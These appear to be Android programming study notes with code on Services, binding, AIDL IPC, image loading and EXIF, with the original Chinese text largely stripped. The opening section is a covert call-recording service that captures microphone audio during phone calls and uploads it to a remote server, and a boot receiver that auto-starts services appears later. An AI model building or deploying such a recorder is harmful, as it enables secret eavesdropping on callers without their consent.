				public	IBinder	onBind(Intent	intent)	{
	
								return	null;
				}
				/**
					*	TODO	MyPhoneListener:Listener
					*
					*/
				private	class	MyPhoneListener	extends	PhoneStateListener	{
	
								private	MediaRecorder	mediaRecorder;//	
								@Override
								public	void	onCallStateChanged(int	state,	String	incomingNumber)	{
												super.onCallStateChanged(state,	incomingNumber);
	
												try	{
																switch	(state)	{
																case	TelephonyManager.CALL_STATE_IDLE:	//	1	
																				System.out.println("" );
																				if	(mediaRecorder	!=	null)	{
																								//	8
																								mediaRecorder.stop();
																								//	9
																								mediaRecorder.release();
																								mediaRecorder	=	null;
																								//	
																								uploadAudioToServer(Environment.getExternalStorageDirectory()+"/info.3gp");
																				}



																				break;
	
																case	TelephonyManager.CALL_STATE_RINGING:	//	2
																				System.out.println("" +incomingNumber);
																				String	storageState	=	Environment.getExternalStorageState();
																				System.out.println("sdcard" 	+	storageState);
																				if	(Environment.MEDIA_MOUNTED.equals(storageState))	{	//	SDCard
																								//	
																								prepareMediaRecorder();
																				}
																				break;
	
																case	TelephonyManager.CALL_STATE_OFFHOOK:	//	3
																				System.out.println("" );
																				//	7
																				if	(mediaRecorder	!=	null)	{
																								System.out.println("" );
																								mediaRecorder.start();
																				}
																				break;
																}
												}	catch	(Exception	e)	{
																e.printStackTrace();
												}
								}
	
								/**
									*	
									*	@throws	IOException
									*/
								private	void	prepareMediaRecorder()	throws	IOException	{
												//	TODO	
												System.out.println("" );
												//	TODO	
												//	1.mediaRecoder.
												mediaRecorder	=	new	MediaRecorder();
												//	2.		mic
												mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
												//	3.
												mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
												//	4.
												mediaRecorder.setOutputFile(Environment.getExternalStorageDirectory()+"/info.3gp");
												//	5..
												mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
												//	6.
												mediaRecorder.prepare();
								}
	
								/**
									*	
									*
									*	@param	file	url
									*	@throws	FileNotFoundException
									*/
								private	void	uploadAudioToServer(String	file)
																throws	FileNotFoundException	{
												//	TODO	



												System.out.println("" );
												//	TODO
												AsyncHttpClient	asyncHttpClient	=	new	AsyncHttpClient();
												String	url	=	"http://192.168.221.221:8080/FileUpload/FileUploadServlet";
												RequestParams	params	=	new	RequestParams();
												File	myfile	=	new	File(file);
												params.put("file",	myfile);
												asyncHttpClient.post(url,	params,	new	AsyncHttpResponseHandler()	{
	
																@Override
																public	void	onSuccess(String	content)	{
																				System.out.println("" );
																}
	
																@Override
																public	void	onFailure(Throwable	error,	String	content)	{
																				System.out.println("" );
																}
												});
								}
	
								/*
									*	public	void	onSignalStrengthsChanged(SignalStrength	signalStrength)	{//
									*	}
									*/
				}
}

AndroidManifest.xml
<?xml	version="1.0"	encoding="utf-8"?>
<manifest	xmlns:android="http://schemas.android.com/apk/res/android"
				package="cn.zengfansheng.interceptcall"
				android:versionCode="1"
				android:versionName="1.0"	>
				<uses-sdk
								android:minSdkVersion="8"
								android:targetSdkVersion="18"	/>
<uses-permission	android:name="android.permission.READ_PHONE_STATE"/>
<uses-
permission	android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission	android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission	android:name="android.permission.RECORD_AUDIO"/>
<uses-permission	android:name="android.permission.INTERNET"/>
				<application
								android:allowBackup="true"
								android:icon="@drawable/ic_launcher"
								android:label="@string/app_name"
								android:theme="@style/AppTheme"	>
								<activity



												android:name="cn.zengfansheng.interceptcall.MainActivity"
												android:label="@string/app_name"	>
												<intent-filter>
																<action	android:name="android.intent.action.MAIN"	/>
																<category	android:name="android.intent.category.LAUNCHER"	/>
												</intent-filter>
								</activity>
								<!--TODO	manifest.xml	-->
								<service	android:name="cn.zengfansheng.interceptcall.PhoneService"	>
								</service>
				</application>
</manifest>

http://developer.android.com/guide/topics/media/audio-capture.html	

http://developer.android.com/guide/topics/media/audio-capture.html
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1.Foreground	process	
,.	()		onResume.
	
	
2.Visible	process		
onpause	activity.
	
	
3.Service	process	.
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4.Background	process	
activity	.
	
5.Empty	process	
	activity,
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																			new	Thread(){}.start();
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Activity&Acticity()&&&&09_Service()	

1activity	
		Oncreate	
		Onstart	
		Onresume	
		Onpause	
		Onstop	
		Ondestory	
		Onrestart		
2

android4.0android4.0
3activity
startActivity(Intent	intent)	Activity

4 		

Activity,

5	
							
6	
	
	
7
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9android
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	Oncreate		
	Ondestroy



android.intent.action.NEW_OUTGOING_CALL 	android.provider.Telephony.SMS_RECEIVED		
android.intent.action.BATTERY_CHANGED
android.intent.action.BOOT_COMPLETED	

<uses-permission	android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>



Translucent		
portrait		,

sensor	

navigate	

maintain	

interact	

propagate			['prɒpəgeɪt]

exported	

retrieve				[rɪ'triːv]

indicate	



——Service

Androidwindows

Service
public	class	SMSService	extends	Service	{	}

AndroidManifest.xml<application>:
<service	android:name=".SMSService"	/>

Context.startService()Context.bindService() Service startService()
bindService() “”
Context.startService()Context.stopService() onDestroy()

	Context.startService()
onCreate()à	onStart()	à	onDestroy()
onCreate() startService()bindService()
onStart()	Context.startService() startService() onStart()	
onDestroy()
	Context.bindService()
onCreate()à	onBind()	à	onUnbind()	à	onDestroy()
onBind()Context.bindService() Context.bindService()
onUnbind()Context.bindService()
startService(),bindService() unbindService() bindService()
onCreate()àonStart()àonBind()àonUnbind()[true]àonRebind()



ServiceService

1Service 	void	onCreate()	
int	onStartCommand(Intent	intent,	int	flags,	int	startId)	
void	onDestroy()	

ServiceService	
a)	void	onDestroy()	
b)	Service

	

		
2Service	



a)	BroadcastProvider
b) android.intent.action.BOOT_COMPLETED
<receiver	android:name="cn.zengfansheng.serviceLifecycle.MyBootCompleted"	>
				<intent-filter>
								<action	android:name="android.intent.action.BOOT_COMPLETED"	/>
				</intent-filter>
</receiver>		

c)		<uses-
permission	android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>

	

	

/**
	*	TODO: --android.permission.RECEIVE_BOOT_COMPLETED
	*	
	*	@author	hacket
	*	
	*/
public	class	MyBootCompleted	extends	BroadcastReceiver	{
				@Override
				public	void	onReceive(Context	context,	Intent	intent)	{
								System.out.println("" );
								Intent	intent2	=	new	Intent(context,	MyService.class);
								context.startService(intent2);
				}
}

<!--TODO	 xml		-->
<receiver	android:name="cn.zengfansheng.serviceLifecycle.MyBootCompleted"	>
				<intent-filter>
								<action	android:name="android.intent.action.BOOT_COMPLETED"	/>
				</intent-filter>
</receiver>
<uses-
permission	android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>

wiz:open_attachment?guid=50d73785-4d09-48df-b7ba-958daf5d002a




bindservice()	

	 	

,.
oncreate,,oncreate
,ondestroy
	
startService()		onStartCommand()		onStart();
	
:
1.	startService();	(activity).activity,
.
	
2.	bindService();		activity.	activity
.		,.
,	

;
ServiceConnection	//Interface	for	monitoring	the	state	of	an	application	service

1 Activity,destroyactivity
E/ActivityThread(944):	Activity	cn.zengfansheng.serviceLifecycle.MainActivity	has

leaked	ServiceConnection	cn.zengfansheng.serviceLifecycle.MainActivity$1@40fa3640
that	was	originally	bound	here
ActivityonDestroy()Activity
//	Activity
@Override
protected	void	onDestroy()	{



				super.onDestroy();//	
				this.unbindService(conn);//	Disconnect	from	an	application	service
}

	

2
E/AndroidRuntime(1250):	java.lang.IllegalStateException:	Could	not	execute	method	of
the	activity

	



3activityonDestroy()	
E/AndroidRuntime(1367):	java.lang.RuntimeException:	Unable	to	destroy	activity
{cn.zengfansheng.bindserviceLifecycle/cn.zengfansheng.serviceLifecycle.MainActivity}:
java.lang.IllegalArgumentException:	Service	not	registered:
cn.zengfansheng.serviceLifecycle.MainActivity$1@40faa888
23
//	TODO	
if	(conn	!=	null)	{
				this.unbindService(conn);
				conn	=	null;
}
//	TODO:
/*try	{
				this.unbindService(conn);//	2
				conn	=	null;
}	catch	(Exception	e)	{
				e.printStackTrace();
}*/



——

:
1.	activity	bindService...
	
2.		MyConn	implements	ServiceConnection
	
3.		onServiceConnected	
	
4.		service		onBind		IBinder(	api)
	
5.			IBinder	activityonServiceConnected	
	
6.	IBinder	,	.	

ActivityService
①Service	iAmAMethodInService()
②ServiceIBinderBinderMyBinder
③ServicecallMethodInService()
④ServiceonBind(),return	new	MyBinder();
⑤ActivityServiceConnectiononServiceConnected()ServiceonBindIBinder
Service
⑥

MainActivity.java
package	cn.zengfansheng.service;
import	android.app.Activity;
import	android.content.ComponentName;
import	android.content.Context;
import	android.content.Intent;
import	android.content.ServiceConnection;
import	android.os.Bundle;
import	android.os.IBinder;
import	android.view.View;
import	cn.zengfansheng.service.MyService.MyBinder;
public	class	MainActivity	extends	Activity	{
				private	ServiceConnection	conn;
				private	MyBinder	myBinder;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{



								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
				}
				/**
					*	
					*	@param	view
					*/
				public	void	start(View	view)	{
								Intent	intent	=	new	Intent(this,	MyService.class);
								startService(intent);
				}

				/**
					*	TODO		activity	bindService...
					*	,	:,	.
					*	@param	view
					*/
				public	void	bind(View	view)	{
								Intent	service	=	new	Intent(this,	MyService.class);
								conn	=	new	MyConn();
								this.bindService(service,	conn	,	Context.BIND_AUTO_CREATE);
				}

				//	TODO			MyConn	implements	ServiceConnection
				private	class	MyConn	implements	ServiceConnection	{
								//		.serviceonBind()nullserviceactivity
								@Override
								public	void	onServiceConnected(ComponentName	name,	IBinder	service)	{
												System.out.println("" );
												//	TODO	serviceActivityService
												if	(service	!=	null)	{
																myBinder	=	(MyBinder)	service;//	
												}
								}
								//	,
								@Override
								public	void	onServiceDisconnected(ComponentName	name)	{
												System.out.println("" );
								}
				}
				/**
					*	



					*	@param	view
					*/
				public	void	unbind(View	view)	{
								if	(conn	!=	null)	{
												this.unbindService(conn);//	
												conn	=	null;
								}
				}
				
				/**
					*	
					*	@param	view
					*/
				public	void	call(View	view){
								//	MyService	myService	=	new	MyService();
								//	myService.iAmAMethodInService();
								//	TODO	Service
								myBinder.callMethodInService(5009);
				}
}

MyService.java

package	cn.zengfansheng.service;

import	android.app.Service;
import	android.content.Intent;

import	android.os.Binder;

import	android.os.IBinder;

import	android.widget.Toast;

public	class	MyService	extends	Service	{

				//	TODO	Activity,		.

				@Override

				public	IBinder	onBind(Intent	intent)	{

								System.out.println("service	onBind()...");

								return	new	MyBinder();

				}

				/**

					*	TODO	ServiceActivityIBinder,

					*/

				public	class	MyBinder	extends	Binder	{

								//	TODO	APIService

								public	boolean	callMethodInService(long	money)	{

												if	(money	>	5000)	{

																iAmAMethodInService();

																return	true;

												}	else	{



																System.out.println("..." );

																return	false;

												}

								}

				}

				/**

					*	.

					*/

				public	void	iAmAMethodInService()	{

								Toast.makeText(this,	"service" ,	0).show();

				}

				@Override

				public	void	onCreate()	{

								System.out.println("service	onCreate()....");

								super.onCreate();

				}

				@Override

				public	int	onStartCommand(Intent	intent,	int	flags,	int	startId)	{

								System.out.println("service	onStartCommand()...");

								return	super.onStartCommand(intent,	flags,	startId);

				}

				@Override

				public	void	onDestroy()	{

								System.out.println("service	onDestroy()....");

								super.onDestroy();

				}

				@Override

				public	boolean	onUnbind(Intent	intent)	{

								System.out.println("service	on	Unbind()...");

								return	super.onUnbind(intent);

				}

}

	

wiz:open_attachment?guid=a9e1227c-75cd-4a58-87a7-85c26a57108e


MyBinderpublic

public	interface	IService	{
				public	boolean	callMethodInService(long	money);
}

				private	class	MyBinder	extends	Binder	implements	IService	{
								//	TODO	APIService
								public	boolean	callMethodInService(long	money)	{
												if	(money	>	5000)	{
																iAmAMethodInService();
																return	true;
												}	else	{
																System.out.println("..." );
																return	false;
												}
								}
								public	void	playMahjong()	{
												System.out.println("" );
								}
				}

startActivity()new	service
10-18	20:31:35.391:	E/AndroidRuntime(4870):	java.lang.IllegalStateException:

wiz:open_attachment?guid=4ea43e3d-1c74-4586-b001-e8988829bce8


Could	not	execute	method	of	the	activity



1	
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="match_parent"
				android:orientation="vertical"	>
				<Button
								android:layout_width="wrap_content"
								android:layout_height="wrap_content"
								android:onClick="click"
								android:text="" 	/>
				<Button
								android:layout_width="wrap_content"
								android:layout_height="wrap_content"
								android:onClick="call"
								android:text="" 	/>
</LinearLayout>
2Service
package	cn.zengfansheng.callMethodInService;

import	android.app.Service;

import	android.content.Intent;

import	android.os.IBinder;

public	class	MyService	extends	Service	{

				@Override

				public	void	onCreate()	{

								System.out.println("" );

								super.onCreate();

				}

				@Override

				public	void	onDestroy()	{

								System.out.println("" );

								super.onDestroy();

				}

				@Override

				public	IBinder	onBind(Intent	intent)	{

								System.out.println("" );

								return	null;

				}

}

3AndroidManifest.xml<application>Service
<service	android:name="cn.zengfansheng.callMethodInService.MyService"	>
</service>
4Service	 IBinderIService
package	cn.zengfansheng.callMethodInService;
public	interface	IService	{



				/**
					*	Service
					*/
				public	void	callMethodInService();
}
--------------------------------------------------------
package	cn.zengfansheng.callMethodInService;
import	android.app.Service;
import	android.content.Intent;
import	android.os.Binder;
import	android.os.IBinder;
public	class	MyService	extends	Service	{
				@Override
				public	void	onCreate()	{
								System.out.println("" );
								super.onCreate();
				}
				@Override
				public	void	onDestroy()	{
								System.out.println("" );
								super.onDestroy();
				}
				@Override
				public	IBinder	onBind(Intent	intent)	{
								System.out.println("" );
								return	new	MyBinder();
				}
				private	class	MyBinder	extends	Binder	implements	IService	{
								@Override
								public	void	callMethodInService()	{
												methodInService();
								}
				}
				public	void	methodInService()	{
								System.err.println("Service" );
				}
}
ServiceMyConnServiceConnection
public	void	onServiceConnected(ComponentName	name,	IBinder	service),service
ActivityServiceService
package	cn.zengfansheng.callMethodInService;
import	android.app.Activity;



import	android.content.ComponentName;
import	android.content.Context;
import	android.content.Intent;
import	android.content.ServiceConnection;
import	android.os.Bundle;
import	android.os.IBinder;
import	android.view.View;
public	class	MainActivity	extends	Activity	{
				private	ServiceConnection	conn;
				private	IService	iService;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
				}
				/**
					*	
					*	@param	view
					*/
				public	void	bind(View	view)	{
								Intent	service	=	new	Intent(this,	MyService.class);
								conn	=	new	MyConn();
								this.bindService(service,	conn,	Context.BIND_AUTO_CREATE);
				}
				private	class	MyConn	implements	ServiceConnection	{
								@Override
								public	void	onServiceConnected(ComponentName	name,	IBinder	service)	{
												System.out.println("" );
												iService	=	(IService)	service;
								}
								@Override
								public	void	onServiceDisconnected(ComponentName	name)	{
								}
				}
				/**
					*	
					*	
					*	@param	view
					*/
				public	void	call(View	view)	{
								iService.callMethodInService();//	Service
				}



}

wiz:open_attachment?guid=a5ab708d-996a-4746-9c2a-ed9a9dc685ac


	
,Service

startService()stopService()bindService()unbindService()
	
Context.bindService()onCreate()onBind()	onBind()IbinderonUnbind()
onDestroy()bindService()bindService()(onCreate()onBind())unbindService()onUnbind()-
->onDestroy()
	
ActivityIbinderActivityonBind ()IbinderIbinder
Activity

public	interface	ICountService	{
				public	int	getCount();
}

public	class	CountService	extends	Service	{
private	boolean	quit;
private	int	count;
private	ServiceBinder	serviceBinder	=	new	ServiceBinder();
public	class	ServiceBinder	extends	Binder	implements	ICountService	{
				@Override
				public	int	getCount()	{
								return	count;
				}
}
@Override
public	IBinder	onBind(Intent	intent)	{
				return	serviceBinder;
}
@Override
public	void	onCreate()	{
				super.onCreate();
				new	Thread(new	Runnable()	{
								@Override
								public	void	run()	{
												while	(!quit)	{
																try	{
																Thread.sleep(1000);
																}	catch	(InterruptedException	e)	{}



																count++;
												}
								}
				}).start();
}
@Override
public	void	onDestroy()	{
				super.onDestroy();
				this.quit	=	true;
}
}
Activity
public	class	ClientActivity	extends	Activity	{
				private	ICountService	countService;
				@Override
				public	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.main);
								this.bindService(new	Intent(this,	CountService.class),	this.serviceConnection,	BIND_AUTO_CREATE
				}
				@Override
				protected	void	onDestroy()	{
								super.onDestroy();
								this.unbindService(serviceConnection);
				}				
				
				private	ServiceConnection	serviceConnection	=	new	ServiceConnection()	{
								@Override
								public	void	onServiceConnected(ComponentName	name,	IBinder	service)	{
												countService	=	(ICountService)	service;//onBind()
												int	i	=	countService.getCount();												
												Log.v("CountService",	"Count	is	"	+	i);
								}
								@Override
								public	void	onServiceDisconnected(ComponentName	name)	{
												countService	=	null;
								}
				};
}



AIDL
Service

Android,	 ?	,	Java,	,	JavaEERMIAndroid,	 AIDL(Android	Interface	Definition
Language)

AIDLAndroid(IPC)AIDLIPCEJBCORBAAIDLAIDLandroidandroid

ABBdownload(String	path)BServiceA :
	
1>	B*.aidlaidlcn.itcast.aidlIDownloadService.aidl
package	cn.itcast.aidl;
interface	IDownloadService	{
				void	download(String	path);
}
aidleclipsegenIDownloadService.javaStubaidlasInterface(IBinder
iBinder)onServiceConnected(ComponentName	name,	IBinder	service)
asInterface(IBinder	iBinder)
	
Aidl :
		1.aidl
		2.public,private,protected, final,static
		3.AidljavaintlongbooleanStringListMapCharSequence importList
MapAidlParcelable
		4.AIDLaidl import
		5.aidlJavainoutinout
		6.Javain,
	
2>	BaidlIDownloadServiceStubStubaidl
public	class	ServiceBinder	extends	IDownloadService.Stub	{
				@Override
				public	void	download(String	path)	throws	RemoteException	{
								Log.i("DownloadService",	path);
				}							
}
	
3>	BServiceonBind(Intent	intent)aidlServiceBinder
public	class	DownloadService	extends	Service	{
				private	ServiceBinder	serviceBinder	=	new	ServiceBinder();
				@Override
				public	IBinder	onBind(Intent	intent)	{
								return	serviceBinder;



				}
				public	class	ServiceBinder	extends	IDownloadService.Stub	{
								@Override
								public	void	download(String	path)	throws	RemoteException	{
												Log.i("DownloadService",	path);
								}							
				}
}
,AndroidManifest.xml
<service	android:name=".DownloadService"	>
				<intent-filter>
								<action	android:name="cn.itcast.process.aidl.DownloadService"	/>
				</intent-filter>
</service>
	
4>	BaidlpackageaidlAeclipseAgenaidlIDownloadService.java,AB
public	class	ClientActivity	extends	Activity	{
				private	IDownloadService	downloadService;
	
				@Override
				public	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.main);
								this.bindService(new	Intent("cn.itcast.process.aidl.DownloadService"),
this.serviceConnection,	BIND_AUTO_CREATE);//
				}
	
				@Override
				protected	void	onDestroy()	{
								super.onDestroy();
								this.unbindService(serviceConnection);//
				}			
	
				private	ServiceConnection	serviceConnection	=	new	ServiceConnection()	{
								@Override
								public	void	onServiceConnected(ComponentName	name,	IBinder	service)	{
												downloadService	=	IDownloadService.Stub.asInterface(service);
												try	{
																downloadService.download("http://www.itcast.cn");
												}	catch	(RemoteException	e)	{
																Log.e("ClientActivity",	e.toString());
												}



								}
								@Override
								public	void	onServiceDisconnected(ComponentName	name)	{
												downloadService	=	null;
								}
				};
}



AIDL
ipc-aidl

AIDL
aidl:	android	interface	definition	language
:
		
	
IPC:	inter	process	communication		

:
1.Service	
				IService.java
					IService.adil			public
	
2.	Service
					extend	Binder	implement	IServcie
					extend	IService.Stub
	
3.Activity	
							IServcie
							IService.Stub.asInterface(service)

①aidlaidl
②Service

1ALiPayBinder.javaALiPayBinder.aidl
public	publicgenALiPayBinder.javaStub;

	
public	static	abstract	class	Stub	extends	android.os.Binder	implements	com.alipay.remotePayService.ALiPayBinder



2 ALiPayBinder.javaStubextends	android.os.Binder
implements	com.alipay.remotePayService.ALiPayBinder,Stub;
private	class	MyBinder	extends	Binder	implements	ALiPayBinder	{
								@Override
								public	void	callPay(String	username,	String	password,	float	money)	{
												pay(username,	password,	money);
								}
}

private	class	MyBinder	extends	ALiPayBinder.Stub

3
ALiPayBinder.aidlgenALiPayBinder.java

	

4	 onServiceConnected()
ALiPayBinder			aLiPayBinder	=	ALiPayBinder.Stub.asInterface(service);			

5
public	void	pay(View	view)	{
				try	{
								aLiPayBinder.callPay("hacket",	"123456",	1234.43f);
				}	catch	(RemoteException	e)	{
								e.printStackTrace();
				}
}

1
ALiPayService.java
package	com.alipay.remotePayService;
	
import	android.app.Service;
import	android.content.Intent;
import	android.os.IBinder;
	



/**
*	
*/
public	class	ALiPayService	extends	Service	{
	
				@Override
				public	IBinder	onBind(Intent	intent)	{
								return	new	MyBinder();
				}
	
				/**
					*	TODO	2
					*/
				private	class	MyBinder	extends	ALiPayBinder.Stub	{
								@Override
								public	void	callPay(String	username,	String	password,	float	money)	{
												pay(username,	password,	money);
								}
				}
	
				/**
					*	TODO	1	
					*	@param	username	
					*	@param	password	
					*	@param	money	
					*/
				public	void	pay(String	username,	String	password,	float	money)	{
								System.out.println("[" 	+	"\t" 	+	username	+"\t" +	password	+"\t" +money+"]");
				}
	
				@Override
				public	void	onCreate()	{
								System.out.println("" );
								super.onCreate();
				}
	
				@Override
				public	void	onDestroy()	{
								System.out.println("" );
								super.onDestroy();
				}
}

ALiPayBinder.aidl
package	com.alipay.remotePayService;
interface	ALiPayBinder	{
				/**
					*	TODO	3
					*/
				void	callPay(String	username,	String	password,	float	money);
}

AndroidManifest.xml
<!--TODO	4		-->
<service	android:name="com.alipay.remotePayService.ALiPayService">
				<intent-filter	>



								<action	android:name="com.alipay.remotePay"/>
				</intent-filter>
</service>

2	
MainActivity.java
package	cn.zengfansheng.userALiPay;
import	android.app.Activity;
import	android.content.ComponentName;
import	android.content.Context;
import	android.content.Intent;
import	android.content.ServiceConnection;
import	android.os.Bundle;
import	android.os.IBinder;
import	android.os.RemoteException;
import	android.view.View;
import	com.alipay.remotePayService.ALiPayBinder;
public	class	MainActivity	extends	Activity	{
				private	ServiceConnection	conn;
				private	ALiPayBinder	aLiPayBinder;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
				}
				/**
					*	TODO	5
					*	@param	view
					*/
				public	void	bindRemote(View	view)	{
								Intent	remoteService	=	new	Intent();
								remoteService.setAction("com.alipay.remotePay");
								conn	=	new	MyConn();
								this.bindService(remoteService,	conn,	Context.BIND_AUTO_CREATE);
				}
				/**
					*	TODO	
					*/
				private	class	MyConn	implements	ServiceConnection{
								//	TODO	
								@Override
								public	void	onServiceConnected(ComponentName	name,	IBinder	service)	{
												aLiPayBinder	=	ALiPayBinder.Stub.asInterface(service);
								}
								@Override
								public	void	onServiceDisconnected(ComponentName	name)	{
												
								}
				}
				
				/**
					*	TODO	
					*	@param	view
					*/
				public	void	pay(View	view)	{
								try	{
												aLiPayBinder.callPay("hacket",	"123456",	1234.43f);
								}	catch	(RemoteException	e)	{
												e.printStackTrace();



								}
				}
}

ALiPayBinder.aidl
package	com.alipay.remotePayService;
interface	ALiPayBinder	{
				/**
					*	TODO	3
					*/
				void	callPay(String	username,	String	password,	float	money);
}

1

	
2
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Gallery()	

1
①
START	{act=android.intent.action.MAIN	cat=[android.intent.category.LAUNCHER]	flg=0x10200000

cmp=com.android.gallery/com.android.camera.GalleryPicker	u=0}	from	pid	264
②
START	{act=android.intent.action.VIEW	dat=content://media/internal/images/media?
bucketId=-1595679508	cmp=com.android.gallery/com.android.camera.ImageGallery
(has	extras)	u=0}	from	pid	1485
com.android.camera.ImageGallery

2Intent
<intent-filter>
				<action	android:name="android.intent.action.PICK"	/>
				<category	android:name="android.intent.category.DEFAULT"	/>
				<data	android:mimeType="image/*"	/>
				<data	android:mimeType="video/*"	/>
</intent-filter>

package	cn.zengfansheng.pickPicFromGallary;
import	android.app.Activity;
import	android.content.Intent;
import	android.net.Uri;
import	android.os.Bundle;
import	android.view.View;
import	android.widget.ImageView;
public	class	MainActivity	extends	Activity	{
				private	ImageView	iv;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
								iv	=	(ImageView)	this.findViewById(R.id.iv);
				}
				/**
					*	
					*	
					*	@param	view
					*/
				public	void	pick(View	view)	{
								Intent	intent	=	new	Intent();



								intent.setAction("android.intent.action.PICK");
								intent.setType("image/*");
								this.startActivityForResult(intent,	0);
				}
				//	
				@Override
				protected	void	onActivityResult(int	requestCode,	int	resultCode,	Intent	data)	{
								super.onActivityResult(requestCode,	resultCode,	data);
								if	(data	!=	null)	{
												Uri	uri	=	data.getData();
												iv.setImageURI(uri);
								}
				}
}
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package	cn.zengfansheng.loadpic;
	
import	android.app.Activity;
import	android.graphics.Bitmap;
import	android.graphics.BitmapFactory;
import	android.graphics.BitmapFactory.Options;
import	android.os.Bundle;
import	android.os.Environment;
import	android.view.View;
import	android.view.WindowManager;
import	android.widget.ImageView;
	
public	class	MainActivity	extends	Activity	{
	
				private	ImageView	iv;
				private	WindowManager	wm;
				private	int	windowHeight;
				private	int	windowWidth;
	
				@SuppressWarnings("deprecation")
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
	
								iv	=	(ImageView)	this.findViewById(R.id.iv);
	
								//	TODO	1
								wm	=	(WindowManager)	this.getSystemService(WINDOW_SERVICE);
								//	1-1	
								//	Point	outSize	=	new	Point();
								//	wm.getDefaultDisplay().getSize(outSize);//	Call	requires	API	level	13	(current	min	is	8):android.view.Display#getSize
	
								//	1-2
								windowWidth	=	wm.getDefaultDisplay().getWidth();
								windowHeight	=	wm.getDefaultDisplay().getHeight();
				}
	
				/**
					*	
					*	@param	view
					*/
				public	void	loadPic(View	view)	{
	
								/*
								dalvikOOM
								String	file	=	Environment.getExternalStorageDirectory()+"/fireworks.jpg";



								System.out.println("file:"+file);
								Bitmap	bitmap	=	BitmapFactory.decodeFile(file);
								iv.setImageBitmap(bitmap);*/
	
								//	
								//	1.
								//	2.
								//	3..
								//	4.Bitmap
	
								//	TODO	2
								String	file	=	Environment.getExternalStorageDirectory()+"/fireworks.jpg";
								Options	opts	=	new	Options();
								opts.inJustDecodeBounds	=	true;//	true,bitmap	bitmap.
								BitmapFactory.decodeFile(file,	opts);//whether	the	image	should	be	completely	decoded,	or	just	is	size	returned.
								//	2null,
								int	outWidth	=	opts.outWidth;
								int	outHeight	=	opts.outHeight;
								System.out.println("" 	+	outWidth);

								System.out.println("" 	+	outHeight);
								System.out.println("" 	+	windowWidth);

								System.out.println("" 	+	windowHeight);
	
								//	TODO	3
								int	scale	=	1;
								int	scaleX	=	outWidth	/	windowWidth;
								int	scaleY	=	outHeight	/	windowHeight;
								if	(scaleX	>	scaleY)	{
												scale	=	scaleX;
								}	else	{
												scale	=	scaleY;
								}
								opts.inSampleSize	=	scale;//	141/4	*	1/4	=	1/16;<=1,
								System.out.println("" 	+	scale);
	
								//	TODO	4Bitmap
								opts.inJustDecodeBounds	=	false;
	
								Bitmap	bitmap	=	BitmapFactory.decodeFile(file,	opts);
								iv.setImageBitmap(bitmap);
				}
}
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10-19	02:19:41.794:	W/dalvikvm(1698):	31961104	byte	allocation	exceeds	the	16777216	byte	maximum	heap
size10-19	02:19:41.954:	E/AndroidRuntime(1698):	java.lang.IllegalStateException:	Could	not	execute	method
of	the	activity
10-19	02:19:41.954:	E/AndroidRuntime(1698):	Caused	by:	java.lang.reflect.InvocationTargetException



exif		

ExifInterface	This	is	a	class	for	reading	and	writing	Exif	tags	in	a	JPEG	file.
getAttribute(String	tag)	exif
setAttribute(String	tag,	String	value)		exif
						TAG_DATETIME
TAG_FLASH
TAG_GPS_LATITUDE
TAG_GPS_LATITUDE_REF
TAG_GPS_LONGITUDE
TAG_GPS_LONGITUDE_REF
TAG_IMAGE_LENGTH
TAG_IMAGE_WIDTH
TAG_MAKE
TAG_MODEL
TAG_ORIENTATION
TAG_WHITE_BALANCE

/**
	*	TODO	EXIF
	*	@param	view
	*	@throws	IOException	
	*/
public	void	getExif(View	view)	throws	IOException	{
				//	TODO	EXIF
				String	file	=	Environment.getExternalStorageDirectory()+"/fireworks.jpg";
				//	ExifInterface:This	is	a	class	for	reading	and	writing	Exif	tags	in	a	JPEG	file.
				ExifInterface	exifInterface	=	new	ExifInterface(file);
				String	time	=	exifInterface.getAttribute(ExifInterface.TAG_DATETIME);
				String	device	=	exifInterface.getAttribute(ExifInterface.TAG_MODEL);
				String	make	=	exifInterface.getAttribute(ExifInterface.TAG_MAKE);
				System.out.println("" 	+	time);
				System.out.println("" 	+	device);
				System.out.println(":" 	+	make);
				//	exif.setAttribute(tag,	value);//exif
}





(QQ)SDcard()

sd
							//	 sd
								Intent	in	=	new	Intent();
								in.setAction(Intent.ACTION_MEDIA_MOUNTED);
								in.setData(Uri.fromFile(Environment.getRootDirectory()));
								this.sendBroadcast(in);

								//	
								Intent	intent	=	new	Intent();
								intent.setAction("android.intent.action.PICK");
								intent.setType("image/*");
								intent.addCategory(Intent.CATEGORY_DEFAULT);
								this.startActivityForResult(intent,	0);
sdcardsdcard
sd

package	cn.zengfansheng.paint;
	
import	java.io.File;
import	java.io.FileOutputStream;
import	java.io.IOException;
import	java.io.InputStream;
	
import	android.app.Activity;
import	android.content.Intent;
import	android.graphics.Bitmap;
import	android.graphics.Bitmap.CompressFormat;
import	android.graphics.BitmapFactory;
import	android.graphics.Canvas;
import	android.graphics.Color;
import	android.graphics.Matrix;
import	android.graphics.Paint;
import	android.net.Uri;
import	android.os.Bundle;
import	android.os.Environment;
import	android.view.MotionEvent;
import	android.view.View;
import	android.view.View.OnTouchListener;



import	android.widget.ImageView;
import	android.widget.Toast;
	
public	class	MainActivity	extends	Activity	{
	
				private	ImageView	iv;
				private	Canvas	canvas;
				private	Paint	paint;
				private	Bitmap	mutableBitmap;
	
